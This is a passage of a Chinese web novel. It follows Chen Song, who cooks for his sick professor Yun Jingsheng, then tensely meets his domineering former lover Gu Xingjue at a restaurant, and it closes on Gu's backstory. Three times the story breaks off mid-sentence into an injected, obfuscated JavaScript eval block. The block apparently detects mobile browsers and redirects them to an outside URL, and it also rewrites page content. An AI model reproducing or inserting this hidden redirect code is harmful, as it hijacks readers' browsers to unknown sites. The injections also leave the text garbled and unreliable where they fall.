关于在那个“家”的东西,他确实一个也不想要了。那里的每一件物品都有顾墨的回忆,他不想再回忆起。 今天是周六,续费完陈颂继续睡了,他睡得并不好,做了一大堆梦,每一个梦里都有顾墨。 陈颂浑浑噩噩地熬过周末,周一终于来了。周一的课很满,陈颂无比庆幸,只有这样他才不会想起那些事。 同样庆幸的是,陈颂的学习用品全放在图书馆。 没带到“家”的原因很简单,房子没那么大,也不是他一个人住的地方,学习用品很多,不太好放。另一个就是在“家”的时候,顾墨要求陈颂把所有注意力都放顾墨身上,要想提高专注力,还得是图书馆。 陈颂结束一天课程后去了老班的办公室。 老班穿着蓝色夹克,顶着大肚正要出来,看到陈颂一顿:“你脸色怎么这么差?” 陈颂睡了两天,眼下青黑好了些,但没吃多少东西,脸色比墙还惨白,眼里一滩死水。 陈颂平静地说:“没事。” 老班皱眉训他:“你这小孩,挣钱也别把命赔进去。学医的课那么多,学生会也够你忙了,实在撑不下去就不要去兼职,学校奖学金和贫困生辅助金也不少了。万一出什么事你怎么办?家里人怎么办?” 陈颂艰难地扯出一抹淡然的笑:“老班,我真没事。就是中午忘吃饭了,待会吃了就好。” 老班拿着手里的袋子砸了下他:“这都能忘!你怎么不忘了自己还是个人?” “说吧。有啥事找我。” 陈颂看了眼袋子里的衣服,有些眼熟,好像是云教授的衣服。 陈颂收回目光:“我想住宿舍。” “知道了,我晚些给你安排,你有空先去宿管那填个申请。”老班想都没想,问都没问就直接答应了,“还有什么事没有。” 学期中突然住宿是很麻烦的,本以为老班会训斥他几句,结果就这么轻飘飘的同意了。 陈颂摇摇头说没事了。 这时候老班的电话又响起来,老班接起电话:“诶,宋院长。” “你到啦?好好好,我马上过来!对不住对不住。我手头有点事耽误了,马上来。” “好好好,就这样说!” 老班挂断电话后,烦躁地说了一句:“这宋院长提前到也不说一声,真是活祖宗!” 陈颂看向袋子,温和地说:“我帮您送吧。这是云教授的衣服吧。” 老班点点头,看着陈颂,犹豫片刻还是同意了,把袋子交给陈颂后立马往外走,边走边交代:“我把地址发你,你吃完饭今晚送去。一定得吃饭!” 陈颂看着男人的背影,心里有些触动。 三年来,老班帮了他很多事,对他多加照顾。他能感受到老班对他的好,他试图将这其中的一些感情自私地当做名为“父爱”的替代品。 毕竟,一日为师,终生为父。 父亲的话是要听的,陈颂听话地去食堂打了饭坐下吃。 他也很想多吃点,可实在没什么胃口。随意对付几口就不吃了。 老班刚好也把云教授的地址发来了。同时还有几条没回复的信息。 都是学生会问他身体如何的,还有一些学生会群里的工作内容总结。 陈颂挨个回复身体没事,谢谢关心。 陈颂无精力去等车坐公交或者骑电驴,难得奢侈地打车去了云景笙家。 云景笙的住址在一个豪华小区,小区里的住宅都是独栋的小洋楼。 陈颂并不向往有钱人的生活,他只是想有自己的小家,和爱的人幸福生活。 从没来过这么漂亮的小区,他也没有用新奇羡慕的目光东张西望。 那双总是含着淡淡忧伤的眼眸,灰蒙蒙的,平淡如水,毫无波澜。 他笔直清瘦的身影立在门前,按响门铃。 云景笙的小洋楼有一个花草旺盛的院子,晚风轻吹芬芳,月色与花交融,缓缓抚人心灵。 铃响片刻后,门打开了。 门后的云景笙身穿咖色休闲居家服,头发微微凌乱,嘴唇没什么颜色,眼神带着些许倦意,看清来人是谁后,露出一丝诧异之色。 云景笙温和的声音带着干哑:“小颂?” 陈颂颔首,把袋子递给他:“云教授,我帮老班来送衣服的。他临时有些急事来不了。” 云景笙目光落在袋子上,昏昏沉沉的脑袋才想起来。前几天几个老师院长聚会,他喝了些酒开不了车。 何院长,也就是陈颂口中的老班,他老婆来接他回去,顺道给云景笙也送回来了。外套也就落在人车上。 云景笙的外套被酒水不小心洒上,所以脱下。何院长打电话跟他说衣服洗好了再送来。 月光落在陈颂身后,藏在阴影里的眼睛少了几分忧郁,显得人更加柔和。 只是他单薄的衬衣不断被冷风吹拂着,瘦削的骨骼印出来,好像风再吹下去,他就要飘走了。 “进来喝杯热水再走吧。”云景笙忍着痛痒的喉咙,艰难地发声。 他从那天聚会后就开始有些低烧,应是感染上了流感,到现在也还没好。 陈颂扬起一个很轻的微笑,摇了摇头:“不打扰了,云教授。挺晚了,我就先回去了。” 云景笙忽然猛咳了几声,眼前有些发黑,身形微晃,将要倒去,陈颂神色微变,立马拉住他。 “云教授?”陈颂试探地叫醒他。 云景笙缓了缓,眼前恢复一片清明,陈颂一成不变的脸上难得多了担忧的神情。 云景笙笑着摆摆手:“小流感,没事。你先回去也是对的,我免得传染给你。” 陈颂问:“吃过药了吗?”他说着伸手摸了摸云景笙的额头,有些温热,“应该有些低烧。” 云景笙一顿,看向陈颂的目光稍有一丝飘远,很快又拉回思绪,答到:“还没吃……晚饭还没吃呢。” 陈颂感受到云景笙的呆滞,尴尬地收回手:“我给您做点吃的吧。” 二人曾多次谈及附近的美食,陈颂也谈及自己兼职去学厨艺的事,云景笙总说有天要尝尝他的手艺。 今天也算是兑现承诺了。 云景笙笑着点点头,把人放了进来。 厨房很大,干净整洁,窗台上还摆放着几盆多肉和小花。 云景笙应该很喜欢植株,陈颂想着。 家里食材很多,但陈颂只做了清淡的粥和开胃小菜。 云景笙站在他旁边观赏着漂亮的人,在他漂亮的厨房里做饭。 心中不自觉生出一股暖泉。 陈颂不太习惯旁人的注视,他安静切菜,深吸一口气说:“云教授,您先去休息一下吧。厨房的油烟味太重。” 云景笙看出陈颂的不适,浅浅笑着说好,转身走到客厅,打开电视机选了一片文艺片播放。目光却时不时停留在厨房的人影上。 陈颂生得一副天然的江南气质,身上那股淡淡的忧伤有独特的韵味。围上围裙在厨房做饭的样子,真让人感觉岁月静好,家和美满。 陈颂做完饭时,云景笙已经坐在沙发上睡着了。 蓬松的黑发微微遮住眉眼,使得清秀的五官更加柔美,柔美又不失男人的英气。 陈颂轻声唤了几声,人才睁着朦胧的双眼醒来,眼尾还染着倦意。 餐桌上白粥热腾腾升烟,排骨汤的香味扑鼻而不腻,唤醒人的胃。还有一道凉拌黄瓜和小青菜。 云景笙每道菜都尝了尝,毫不吝啬地称赞着陈颂的厨艺。 陈颂很不好意思,觉得云景笙太夸张了:“这几道菜其实很简单,也做不出什么花样来。” 云景笙舀起一勺排骨汤,看着汤里软滑的肉说:“这几道菜确实都很简单。谁都能做出来。但越是简单的东西,越难做得别出心裁,越难做得比别人好。” “因为人人都会做,所以人人都不屑于研究如何花巧思做得好。” 云景笙苍白的唇在排骨汤的润色下,恢复了几分红润,洁白无瑕的手指握住筷子夹起青菜,笑着说:“我没吃过这么好吃的小青菜。说不出有什么特别的味道。” “但,就是很好吃。可能是你的火候和调味和其他人不一样,我也不懂这些。” 或许是云景笙讲的话太过真诚,简单。陈颂有些触动,原本面对夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈颂下意识看向讲台,一身浅灰色大衣的人也正看向他,黑丝眼眶下的那双桃花眼笑的动人。 陈颂稍愣片刻,有个荒唐的想法从心里冒出。随之很快将其掐灭,并在心底狠狠斥责自己。 云景笙只是为了表示感谢,没有一丝别的暧昧情绪在里面的。 清醒后陈颂恢复了:好 整节课陈颂刻意避开云景笙的目光,埋头苦学。 下课后云景笙便开车带陈颂出发了。 “今天上课怎么有些心不在焉啊,”云景笙看了眼副驾上的人,“陈颂同学。” 云景笙的声音温柔好听,像哄幼儿园孩子似的。 陈颂目光微微放大,立刻解释:“很认真。两只耳朵听的都很认真。” 云景笙轻笑一声,放过了他。 二人驱车来到商业城旁的美食街。环境和陈颂介绍地那些普通餐厅不一样,高大上许多。 陈颂微微有些不适应,这地方跟他兼职的餐厅不相上下,价格肯定很贵,要让人破费了。 云景笙看出他的担忧,莞尔道:“我弟弟说这家饭店很好吃。我一直都想来的,但我一个人又不能点多点,吃不尽兴。谢谢你给机会陪我。” 陈颂的不适感淡去很多,礼貌回应着:“没什么的。我才要谢谢云教授能给我这个蹭饭的机会。” 云景笙走在阶梯上,回头看他:“别这么见外了。你在学校也帮我很多事。在学校外就当是朋友吧,叫我景笙就可以。” 陈颂很少有朋友,能交朋友自然开心。但对云景笙还是敬意更多,突然从尊敬的前辈变成朋友,一时还不习惯,觉得直呼其名不礼貌。 思虑过后,陈颂才妥善地叫他:“景笙哥。” 云景笙也笑着应了声。 二人来的这所餐厅的装横是日式风格,没有包间,各个餐桌都筑起镂空花雕木板。餐桌之间距离较远,能透过木板看见彼此的模样,但听不见交谈。 只有熙熙攘攘的声音。 云景笙选了考进巨大落地窗的角落位置,陈颂落座后待应生很快递来菜单。 菜单上的价格果然很昂贵。云景笙让陈颂先点,陈颂点了一碗日式咖喱牛肉饭。云景笙也学着跟他点了一样的饭,又多要了两杯温水。 这是让陈颂没想到的,他还以为云景笙会多点几样。但正因为这个举动让陈颂觉得,云景笙是个很好的人。 细心体贴地在乎他的感受。 “你很会点菜啊,我弟弟说这里的咖喱牛肉饭是最好吃的。”云景笙说。 陈颂也有耳闻过这家餐厅,这家餐厅是以寿喜锅出名,他点咖喱牛肉饭是因为最便宜。 陈颂喝了口温水,抬眼间却对上一双锋利又戏谑般的视线,那目光阴狠如寒光,正饶有兴趣地瞪着他。 熟悉又陌生的脸令他心跳骤停,手里的水杯抖出了点水。 顾……行决怎么在这? 8. 不熟 上次大吵一架后,陈颂脑子乱得很。三年里的顾墨是假的,顾墨偶尔兴起的温情呢? 一丝真心也没有过吗? 陈颂心底一直有一个声音在小声反驳,祈祷着,顾行决其实对他是有几分真情的。 江南烟雨潮湿闷热的初夏,充满刺鼻消毒水的医院走廊里,出现在他眼前的那个人几乎成了全世界唯一的依靠。 陈颂自那以后,每年都会在五六月的初夏发烧感冒,都是顾墨守在身边照顾的。 只是换个名字罢了,叫什么很重要吗?只要受得住眼前的人不就行了吗? 或许,顾墨是他的小名?曾用名?为什么就不冷静下来,好好说好好问问呢? 陈颂在心底有无数个争论,可这些都被他骨子里倔强的自尊所推翻。 那个初夏起,他将整颗心都掏出来给的是顾墨,不是将他视若玩物的顾行决。 餐厅昏黄的灯忽然变得刺眼,陈颂的眼睛酸涩,强撑平静地移开视线。 关于以后是否真的像陈颂所说的,断了关系,他还不知道。还不确定。 他还舍不得,不敢想象再也见不到顾行决的样子。 他无法狠心,所以一直逃避,直到自己有足够的勇气离开。 陈颂嘴唇很轻地颤了一瞬,胃又开始有些疼了,连带唤醒低烧的身体,骨子里钻来密密麻麻的酸疼。 陈颂胃一直不好,心情不好就吃不下饭。 云景笙看出他的不对劲:“怎么了?哪不舒服吗?” 陈颂缓缓呼吸着,喝了口热水:“没事,突然有点冷。” 云景笙脱下外套,起身走到他身边披在他身上:“京市快入冬了,怕冷就多穿些吧。” 陈颂缓缓一僵,第一反应是拒绝,但这无法掩饰他刚才的不堪,于是沉默地点点头。 “最近又流行感冒,”云景笙坐回原来的位置,露出一个无奈的笑,“前些天还照顾我这个病原体,你还得多加小心啊。” 陈颂不敢抬头看云景笙,只要一抬头,即使只看着云景笙,余光还是会注意到那个人群中最亮眼的存在。 云景笙的衣服上洋溢着淡淡的草木香味,有静心之效,陈颂冷静放松许多,胃也好受些。 披在身上的衣服好像真的带给他温暖,陈颂双手握着热水杯,看起来真的很怕冷的样子。 陈颂正想道谢,一声低沉的男声却突兀地从头顶落下。 “这不是云澈的景笙哥么,这么巧也来这吃饭?” 陈颂倒吸一口冷气,刚回暖的血液又顿时冷了下去。 青筋凸起的双手撑在餐桌上,黑色夹克撞进视野,身上散发着跳脱熟悉的香水味。 云景笙抬头有些意外地看向眼前人,片刻后才认出这是谁:“小诀?你也来这吃饭?” 云景笙上次见顾行决还是顾行决高中的时候,云澈和顾行决在学校打架,他被叫去把云澈领回家。 多年不见,顾行决除了长得更高,骨骼更有男人味之外,满眼还是少年时的纨绔与桀骜。 顾行决脸上挂着笑意,深邃的眼眸里却一片寒冷。顾行决从小和云澈就不对付,云景笙见过他很多面,也算有些了解。 因此云景笙还格外品味出一丝克制的怒意。 顾行决冷笑着大手一挥,在云景笙一旁坐下:“景笙哥,我可不小了。” “既然这么巧,那就一起拼个桌吧。”顾行决的语气不容拒绝,他打了个响指,待应生很快过来招待。 顾行决自顾自地点了很多个菜,云景笙制止:“小决,我们已经点过了,吃不了这么多的。你点自己的就好。” 顾行决问:“你们点什么了。”说着看了眼一直低着头的陈颂,只觉得那件大衣格外不顺眼。 云景笙回答道:“咖喱牛肉饭。” 顾行决等了半晌都没等到下文,笑得有些嘲讽:“两人吃一碗?景哥,云家没给你钱吃饭还是怎的,吃一碗饭是你跟小情人的情趣?” 顾行羞辱他也就算了,还把云景笙说成是同性恋,气得陈颂发抖,双手紧紧握起,张口要反驳。云景笙却先了一步。 “我们点了两碗。”云景笙知道顾行决什么性格,也不与小孩争执,好脾气地说,“这也不是我的小情人,忘了介绍。” “这是我最近讲座学校里的学生,陈颂。” “陈颂,”云景笙看向陈颂,“这是我弟弟的朋友,顾行决。小时候看着他们长大的。” 顾行决听了后依旧没收起嘲讽的口吻,反而更甚:“景哥,老师和年轻学生单独出来吃饭,这也太有师德了吧。” 陈颂狠狠瞪向顾行决满戏谑的眼神,那眼神桀骜不驯,像烈阳般灼烧着陈颂的眼睛。 顾行决笑而不语,鲜少见到陈颂怒急了的样子,倒是新鲜。就是身上那件外套实在刺眼,恨不得上前扒了扔地上。 顾行决想着,得要好好惩罚陈颂,竟敢跟他说分手,还敢单独跑出来和云景笙这么一个狐媚子鬼混。 云景笙表面上温温和和的一表人才,文质彬彬,风度翩翩,谁看了都要跨上一句年轻有为,陌上人如玉,公子世无双。 他顾行决还不知道云景笙是什么样的人么?简直他妈的就是一个两面三刀,人前一套,背后一套的死gay,一惯会耍心机了,以前不知道栽在他和云澈那个傻逼身上几回! 顾行决才不相信这老狐狸,陈颂这个缺心眼的,迟早给玩死,他要好好惩罚陈颂,让他长教训! “行决,”云景笙正色道,“请你不要侮辱我的职业还有我的学生。前几天我生病了,多亏小颂照顾,所以想请个饭感谢。” 顾行决听得冷笑:“那你们可真是亲密无间的好师生呢。” 云景笙是个聪明人,自小观察能力就强,立马就察觉到了顾行决和陈颂二人之间的不对劲:“你们认识?” “不认识。” “认识。” 陈颂和顾行决几乎同一时间出口,尽管二人答案不同,但云景笙已经知道其中的意思。 云景笙那么聪明,自然知道顾行决的来意,也知道他二人不是什么简单的关系。 从陈颂否定的态度看来,云景笙给顾行决下了逐客令:“行决,你应该不是一个人来的吧。快回去和你的朋友一起,在我们这打过招呼就好了。” 顾行决目光阴翳如鬼火,一动不动地盯着陈颂:“我就是一个人来的。” “那我是鬼么?”一道带着冷意的笑声兀地打破三人僵持的气氛,“约人出来吃饭,到了地儿转眼又扔下别人跑了,咱顾大少放人鸽子的方式还真比普通人狠不少呢。” “谢砚尘,”顾行决脸上的笑意顿时冷下去,沉声不满道,“不是叫你先回去么。” 谢砚尘留着寸头,墨眉星目,英气逼人。西装革履,浑身上下散发上流社会的精英气质。从不远处走来,说是巴黎时装周顶级超模走秀也不为过。 谢砚尘走到陈颂身边随意坐下,解开袖口:“我饿了一天就等着你请客吃饭,还当着我这个做兄弟的面放鸽子。更别说以后当你媳妇的了,当你媳妇真可怜啊,一辈子都等不到一个不回家的男人。” “啧啧,”谢砚尘摇摇头,看似真被一副伤透了心的样子说,“谁嫁给你谁倒霉。” 谢砚尘说着忽然转头一脸认真地问陈颂:“你说对不对啊,景笙哥的.......” 陈颂忽然心里一紧,有些不适地回答:“你好,我是云教授的学生,陈颂。” 陈松被谢砚尘看得头皮发麻,只觉得眼前这个人眼含笑意,却深不可测,皮笑肉不笑的。话里话外都狠狠戳着人心窝子上捅,语调缓缓,是把温柔刀,刀刀致命。 陈颂快要呼吸不上来了,太压抑了。 云景笙也觉得有些难以应对,一个顾行决尚可,又来了一个更难搞的谢砚尘。 谢砚尘他们几个是小时候一起的玩伴,也是心思最阴沉的一个。早些年入了部队,没了踪迹。最近听说出来了,没想到能在这里碰上。 云景笙没办法,作为长辈,他不能和熊孩子们计较, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他面前那个蠢货兄弟的脸最黑,一眼不眨地瞪着他身边这位叫陈颂的,看得他想笑。 谢砚尘也是觉得新奇,顾行决从小一副唯我独尊的样子,谈过不少。说是谈,谢砚尘更觉得那是包养和被包养的关系。顾行决说踹就踹了,都是别人过来哭着求着不要分手,顾行决一脸冷漠拿钱打发走了。 结果他一当兵回来就听人说,顾行决有一个好了三年的小情儿。谢砚尘觉得只是谣言,太阳打西边出来,他顾大少爷也不可能跟人好三年。 谢砚尘打趣问他,他没否认也没承认,一副模棱两可的样子看得谢砚尘奇了,跟围观动物园大猩猩一样看着他。 顾行决那才说:“三年怎么了,我又不止这三年。玩玩而已。” 谢砚尘可不信,非要看这个人长什么样。顾行决不让,直到前几天又调侃起来他,他却突然说分了。这几天顾行决也照常过,和以前一样疯。 攀岩,赛车,蹦迪,身边莺莺燕燕也不少。 谢砚尘以为顾行决确实就是玩玩了,结果今天出来吃饭,顾行决看到一个人就跟疯狗一样把自己扔在这跑去孔雀开屏。他都有些看不懂顾行决了。 顾行决叫他回去,他才不回去,他倒要看看是什么样的男人迷得他顾大少三年不舍得换。 陈颂和想象中的风·骚妩媚不一样,身上带着淡淡的忧伤,有着江南人清秀的长相,又不是女性那般阴柔,而是带着古典美男子的冷峻气质。 确实很吸引人,和顾行决原来那些小骚·货都不是一个级别的。顾行决原来喜欢的都是明艳开朗的烈马,这一头温驯的羊难怪他吃三年不腻。 听话,好驯养。 陈颂不动声色地深吸几口气,冷静下来不少。现在颇有一种大不了鱼死网破,看淡生死的模样,不就是吃个饭么,没什么大不了的。 陈颂一声不吭地埋头苦吃,丝毫不理会旁人的目光。 顾行决看陈颂视若无睹的样子,心中有股莫名的火气:“你就这么冷,认识你这么久我还真不知道你怕冷呢。” 陈颂放下筷子,嘴里的咖喱牛肉味同嚼蜡,他倔强又清冷的声音疏离地响起:“我和顾先生不熟,自然不知道。” 谢砚尘挑眉,当真有趣。 云景笙一顿,没想到一直沉默的陈颂开了口。 顾行决脸上雷雨欲来,伸舌顶了顶腮。 好一个不熟! 9. 家 新鲜肥美的三文鱼、精嫩紧密的神户牛肉,然然沸腾的寿喜烧,金黄灿烂的天妇罗,花样层出的寿司精美绝伦的日式料理华丽地摆在木桌上。 陈颂一口都没动,固执地吃着自己点的咖喱牛肉饭。 味道确实浓郁,牛肉口感滑嫩。可陈颂怎么也吃不下去,吃几口还有些反胃。 陈颂有些无奈地想着,自己就是贱命一条,无福消受。再高档的餐厅只会与他显得格格不入,就像与顾行决之间横着一道无法跨越的沟壑。 陈颂想不明白,完全两个世界的人,明知没有善果,为何要相遇,纠缠折磨? 难道真的有因果轮回,上辈子欠债这辈子偿还么? 陈颂想不出答案,头疼,胃疼,身上哪里哪里都叫嚣着想要逃离。但他倔强固执的自尊一直强撑着冷静。 要是真的告别,也想留些体面。 这顿饭吃得并不融洽,四人中三人脸色阴沉,只有谢砚尘吃得津津乐道,不时挑起些话题。 云景笙作为长辈给小辈的面子也够到位了,他整理下衣物起身:“我和小颂吃得也差不多了,还有些事,就先回去,你们俩留在这慢慢吃吧。” 陈颂如临大赦,跟着起身。披在身上的大衣有些滑落,他伸手拉紧了些,维持着最后的礼仪,轻轻颔首。 就是这么小的拉衣动作,不知为何像烧红的刑具,在顾行决的心里刻上烙印,疼的他火烧火燎的。 “有事?”顾行决放下筷子,语气不善,“这么晚了两个人还一起有事啊。深更半夜,老师不回家,学生不回家,开小灶呢还是去开” “我的事,跟你有关系么!”陈颂低吼一声,制止顾行决将脱口的污秽言语。 顾行决话还没说完就被劈头盖脸地吼了回去,一时有些愣神。 顾行决也知道自己说的话难听,但见到这样冷漠疏离的陈颂就克制不住。 陈颂总是温声轻语的,就算他很久不回家也不会怪他。只会满脸惊讶欣喜地在门口迎接他,然后又委屈巴巴一副泫然欲泣的模样过来抱他。 陈颂也会生气,气他满身是伤地回来,气他总是赛车不安全。 可陈颂从来不会吼他,还是为了这么一个老狐狸! 顾行决竟然心里涌出一股奇怪的感觉,他竟然觉得有些委屈。这不符合常理的感情立马就被愤怒代替了,快到他都没来得及反应。 顾行决回过神的时候,陈颂已经跟云景笙走了。 “草!”顾行决怒不可遏地敲桌,“砰”地一声把碗筷炸得哐当响。 谢砚尘慢条斯理地夹起一块手握寿司,以嘲弄的口吻说到:“这么生气怎么不去把人追回来。” “我?”顾行决像是听了什么天大的笑话,“凭什么?他算个什么东西。” 谢砚尘皮笑肉不笑:“我说啊,人家都心甘情愿跟着你这个暴脾气这么久,怎么突然舍得把你这大款甩了?” “虽然景笙哥是比你温柔,比你体贴,比你会疼人,但他不管身份地位,哪里能跟你比。” “温柔你妈,体贴你爸!”顾行决几乎是咬碎牙,从喉咙里蹦出的话,带着浓浓的狠意,“迟早给这老狐狸玩死,怎么死都不知道的。” 谢砚尘用完晚餐,拿起热毛巾擦了擦手,挑眉道:“如果要钱要权,他肯定跟着你好。” “但是呢,”谢砚尘放下毛巾,好整以暇地看向顾行决,“如果人家要爱,肯定是景笙哥好。” 顾行决一顿,心脏好像有处被挖走一块。 开什么玩笑,陈颂会爱上别人…… 二人的开始只是顾行决一时兴起的一夜情罢了,是双方默认的□□·关系,谁都没谈感情。所以,陈颂爱上谁,跟谁离开,有什么关系。 顾行决不是滥交的人,床伴没了再找就是,世上有大把的男人。 没了一个陈颂,还会出现千千万万个陈颂。前几天谢砚尘的接风宴上不刚好也有个叫陈颂的么。 谢砚尘见顾行决沉默了,冷静不少,不知道在思虑些什么。 “到底怎么闹什么矛盾。”谢砚尘看热闹不嫌事大地问。 顾行决抿了口红酒,陷在沙发里,单手架在木桌上,摇晃着红酒杯,有些心不在焉。 该怎么说他和陈颂的故事呢…… 三年前的除夕夜,顾行决接到一个电话。 “哥,妈最近清醒了些,你来看看吗?”少年的声音生涩,带些怯懦和期待,试探地问。 顾行决唇角微动,沉默半晌后道:“嗯。晚点去。” 这天飘着雪,满城的白盖住一切,一眼望去,世界好像一座盛大的医院。 苍白,病态,冷漠。 顾行决刚结束攀岩,冲了个澡就驱车去郊外的一座真医院里。 一路上积起的小雪,在骤然奔驰的轮胎下划出长痕。 黑红的摩托机车帅气地立在医院门口,顾行决摘下头盔,在护士带领下来到一间私人病房里。 床上坐着一个骨瘦嶙峋的女人,面色憔悴惨白,目光呆滞,长长的黑发整洁落在身前。瘦削的五官早已没了往日的柔美。 女人听到门口的动静,突然瞪着凸起的眼球转头看去,目光炽热得过于惊悚。她万分惊讶地张着嘴,薄唇张合了半天,嘴里一直喊着“顾……顾……” 慢慢地,眼神里的光暗淡下去,痛苦地眨了眨眼睛,漏出一个惨白的微笑:“小决来啦。” 病床边上的顾铭意亮着眼睛看向顾行决,喊道:“哥。” 顾行决淡淡地“嗯”一声,坐到病床边:“叶姨。我来了。” 叶艾忽然痛心起来,歪头看向顾行决,发抖的手摸向顾行决的脸,张嘴抽噎半天才道:“你还在怪妈妈对不对?” 顾行决摇摇头,摸着叶艾的手:“我从没怪过你。你在这安心养病,等好了我接你出来,好么?” 他的声音很低,难得温柔,像在哄小孩似的。 叶艾并没有得到安抚,表情反而开始扭曲起来,狠狠掐他脸上的肉:“那为什么不让我见你爸!为什么!你都报复了我这么多年了!还不够么!” 她说着忽然尖叫起来要上前抓挠顾行决。 顾行决面露苦色,没想躲,一旁的顾铭意抢上前拉住了发疯的叶艾。 “妈!不要这样!妈!你清醒点!你能不能回来啊_!” 顾行决本以为麻木不会再痛了,可压抑悲伤的情绪还是压制不住地在他骨骼里到处乱窜。 顾行决静静地看着叶艾尖叫着破骂他,用尽各种肮脏的词汇,顾铭意拼命抱住她哭喊着,护士医生进来一团乱,连带着他的眼前也乱。 除夕夜,万家灯火的京市,举国团圆,他无家可归。 顾行决开车去了家不闭店的酒吧,过来巴结他的人很多。他平时就玩得欢,今晚更想忘记一切,跟人耍酒桌游戏,输的衣服只剩一件短袖。 凌晨两三点,酒吧还是闭店了。 他喝的有些多,晕乎乎地开车,却不知道要开到哪里,还没开多远就连人带车摔在大街上,胃里翻江倒海起来,吐了很多。 车子摔得发动不起来,他干脆不管了,继续瞎走。 边走边吐。 迷迷糊糊间有人把他带走了,那人生的极俊极美。 顾行决没见过这么美又不失英气的男人,春心荡漾地亲了口,想着发生点什么却不胜酒力地晕了过去。 再清醒过来的时候,他才看清陈颂。 陈颂清隽的眼眸中带着淡淡的忧伤,莫名地勾人。 只是一开口就跟个蠢货一样咬定他是个穷光蛋。 他顾大少从小到大,生平第一次被人说成乞丐,又气又可笑。不过更多的是有些新奇,怎么会有人住一个破出租屋,连自己都无暇顾及,还捡回来一个来路不明的乞丐。 图什么? 顾行决第一次遇到一个不图他钱财权利的人。 还要给他介绍工作,说他搬砖,他浑身上下英气逼人,他妈的哪一点看起来像是搬砖的啊! 可陈颂一脸认真的模样实在有趣,顾行决也没揭穿这场闹剧,反正就是一个以后不会再见面的普通人,没什么好解释的。 那次见面后,顾行决早把陈颂忘得一干二净。他的事情很多,攀岩,赛车,潜水,蹦极,什么危险玩什么,怎么刺激怎么玩,最好是死了。 好像只有无限接近死亡时,他才能真正感受到自己活着。 极限运动是顾行决逃避现实,缓解压抑的方式,当在这些运动都做个遍,已经无法满足他时,还有一个方式。 那就是性·爱的高·潮。 顾行决不滥交,有固定床伴,那些床伴要么巴结他的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379777|184099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要么巴结顾家权利。顾行决没意见,各取所需。 除夕夜后,顾行决不知为何每次吃饭的时候就会想起陈颂。 陈颂的出租屋很简陋,还没顾行决家里的厕所大。 就是在这么小的房子里,陈颂给他做了一顿饭,那些个菜是他从来没吃到过的菜色,是无法言说的美味。 顾行决荒唐地想着,这似乎就是家的味道。 可是家的味道通常是出自母亲之手,起码在他家曾经是这样的。 叶艾会烧各种好吃的菜哄他,还能做出花样百出的甜品蛋糕。 上帝最残忍的不是剥夺人的幸福,而是收回人的幸福。 或许顾行决没受过叶艾的百般疼爱,现在就不会难受了。 顾行决并没把偶尔出现在脑海里陈颂做饭的身影当回事,只是某天,他喝醉的晚上鬼使神差间来到了陈颂的家门前。 看着陈颂满脸诧异又抑制不住欢喜的神情,顾行决的心像浮在棉花糖里,又甜又软。陈颂清冷的模样露出罕见的生涩,顾行决便要了他。 顾行决从不睡处,在这方面他很没耐心,陈颂却像魔药一般让他情动难耐,生平第一次这么好脾气地哄人,陈颂也超出想象的与他契合,甚至说欲罢不能。 两个男人在这方面与异性恋不同,他们不会轻易把爱说出口,都是靠行动来确定关系。顾行决认定陈颂为新的床伴,二人只需要在床上契合就好。 陈颂和以往床伴不同,不会纠缠他向他要礼物,总是很乖的在家等着他伺候他。 顾行决以为陈颂会一直听话下去,可他最后也变成了那些纠缠他的床伴一样,只不过不会要钱。 顾行决没有看短信的习惯,陈颂经常给他发一些无聊的短信,起初发的那些“想你”顾行决还会心动地立马回去见面,后来也变得厌烦,那些短信一起被淹没在骚扰信息里。 原来陈颂也没什么不同的。 陈颂后来也不再发了,顾行决也本以为二人之间会就此结束,可他在某些寂静的深夜还是会想起陈颂。 顾行决是个三分钟热度,追求新鲜感,以往床伴最长时间不超三个月,陈颂都快一年了,竟然说不上腻。 那年初夏,顾行决回到家没看到陈颂,以为他还在兼职加班,就在家里等他,等到凌晨四五点人都没回来,顾行决忍不住睡意睡着了。 顾行决那天刚徒步旅行回来,累得不行,一觉就睡到傍晚,醒来后房间都暗淡无光,不断被风浮动的窗帘无尽凄凉。 陈颂竟然还没回来,不是周末么??? 顾行决本就有起床气,起来后陈颂竟然夜不归宿让他更加生气。 他很少打电话给陈颂,全身怒火却被电话那头抽噎的声音浇灭。 顾行决赶到的时候,陈颂坐在医院长廊的地上,双手抱头用力拉扯头发,消瘦的骨骼在夏日颤出浑身冷汗。炽光灯下的皮肤没有一丝血色。 顾行决心陡然一紧。 易碎的白瓷在此刻真正碎了。 陈颂的父亲死了,陈颂说他没家了。 他也没有,两个没家的人在一起的话,是不是也能算个家。 顾行决一边照顾着发烧的陈颂,一边帮他父亲处理身后事。也见到了那个被称为陈颂母亲的女人。 女人和陈颂长得如出一辙般的清冷,眉眼冷艳又锋利,一身雍容华贵却丝毫不近人情。她身旁站着一位同她一样冷淡的中年男人。 二人与顾行决打了个照面,什么也没问,好像陈颂父亲的死是一件必然的事。 顾行决说陈颂病了,女人神情漠然像是没听见,转身和男人离开医院。 顾行决僵在原地,看着二人的离开,心中压抑着情绪,默了片刻握紧双拳追出医院,拉住女人,用些许祈求的语气,好像问出了他一直以来都没勇气说的话:“他也是你的儿子啊,去看看他吧。” 女人轻微一愣,顿住片刻,随后松开顾行决的手,微微扬起一个礼貌的微笑:“有劳你照顾了。医院费我们都会承担的。” 女人跟着男人走了。 